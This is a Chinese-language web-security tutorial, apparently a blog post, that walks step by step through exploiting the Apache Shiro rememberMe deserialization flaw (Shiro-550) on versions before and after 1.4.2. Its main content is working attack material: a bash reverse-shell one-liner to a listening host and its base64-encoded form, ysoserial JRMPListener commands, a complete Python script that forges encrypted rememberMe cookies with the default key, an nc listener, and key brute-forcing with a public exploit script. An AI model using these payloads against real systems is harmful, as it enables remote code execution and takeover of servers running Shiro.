【WEB安全】Apache Shiro 反序列化漏洞(中)

简介: Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。

五、Shiro rememberMe反序列化漏洞(Shiro-550)

1、版本1.4.2之前

该版本漏洞利用

第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在

第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令

配置maven

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
vim /etc/profile   末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

下载ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

这里的命令需要使用Java Runtime配置bash编码。

在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html

转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/192.168.8.9/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

image.png

第三步:最终在VPS上执行的命令如下:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "ping e78g5l.dnslog.cn"

image.png

第四步:使用exp.py生成payload,命令如下:

python exp.py 192.168.8.9:1099   (注意这里的端口为1099)
import sys 
import uuid 
import base64 
import subprocess 
from Crypto.Cipher import AES 
def encode_rememberme(command): 
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'UTLDNS', command], stdout=subprocess.PIPE)
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsColllections5', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

image.png

第五步:在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234

第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload

第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。


2、版本1.4.2之后

在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。

该版本漏洞利用

一个攻击针对脚本,加入的GCM,可以爆破高版本的KEY

Github项目地址:

https://github.com/Ares-X/shiro-exploit.git

首先,我们需要根据目标环境修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。

image.png

利用脚本来爆破Shiro key,不指定-v将自动尝试两个版本的爆破

(-v 1 : CBC加密 -v 2 : GCM加密):

python shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml
python3 shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml -v 2

发送回显Payload,获取命令执行结果。

python shiro-exploit.py echo -g CommonsBeanutils2  -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c

脚本可能无法显示回显,所以我们可以配置代理去在burp中查看回显

修改python脚本设置代理,在requests使用代理proxies,增加proxies={‘http’: ‘http://’ + ‘127.0.0.1:8080’}。

image.png

这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。

相关文章
|
28天前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
436 79
web渗透-文件包含漏洞
|
28天前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
439 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
28天前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
122 0
Web渗透-文件上传漏洞-上篇
|
28天前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
95 0
|
28天前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
240 0
web渗透-CSRF漏洞
|
1月前
|
人工智能 运维 Java
Flink Agents:基于Apache Flink的事件驱动AI智能体框架
本文基于Apache Flink PMC成员宋辛童在Community Over Code Asia 2025的演讲,深入解析Flink Agents项目的技术背景、架构设计与应用场景。该项目聚焦事件驱动型AI智能体,结合Flink的实时处理能力,推动AI在工业场景中的工程化落地,涵盖智能运维、直播分析等典型应用,展现其在AI发展第四层次——智能体AI中的重要意义。
436 27
Flink Agents:基于Apache Flink的事件驱动AI智能体框架
|
10月前
|
存储 人工智能 大数据
The Past, Present and Future of Apache Flink
本文整理自阿里云开源大数据负责人王峰(莫问)在 Flink Forward Asia 2024 上海站主论坛开场的分享,今年正值 Flink 开源项目诞生的第 10 周年,借此时机,王峰回顾了 Flink 在过去 10 年的发展历程以及 Flink社区当前最新的技术成果,最后展望下一个十年 Flink 路向何方。
698 33
The Past, Present and Future of Apache Flink
|
12月前
|
SQL Java API
Apache Flink 2.0-preview released
Apache Flink 社区正积极筹备 Flink 2.0 的发布,这是自 Flink 1.0 发布以来的首个重大更新。Flink 2.0 将引入多项激动人心的功能和改进,包括存算分离状态管理、物化表、批作业自适应执行等,同时也包含了一些不兼容的变更。目前提供的预览版旨在让用户提前尝试新功能并收集反馈,但不建议在生产环境中使用。
1512 13
Apache Flink 2.0-preview released
|
12月前
|
存储 缓存 算法
分布式锁服务深度解析:以Apache Flink的Checkpointing机制为例
【10月更文挑战第7天】在分布式系统中,多个进程或节点可能需要同时访问和操作共享资源。为了确保数据的一致性和系统的稳定性,我们需要一种机制来协调这些进程或节点的访问,避免并发冲突和竞态条件。分布式锁服务正是为此而生的一种解决方案。它通过在网络环境中实现锁机制,确保同一时间只有一个进程或节点能够访问和操作共享资源。
413 3

推荐镜像

更多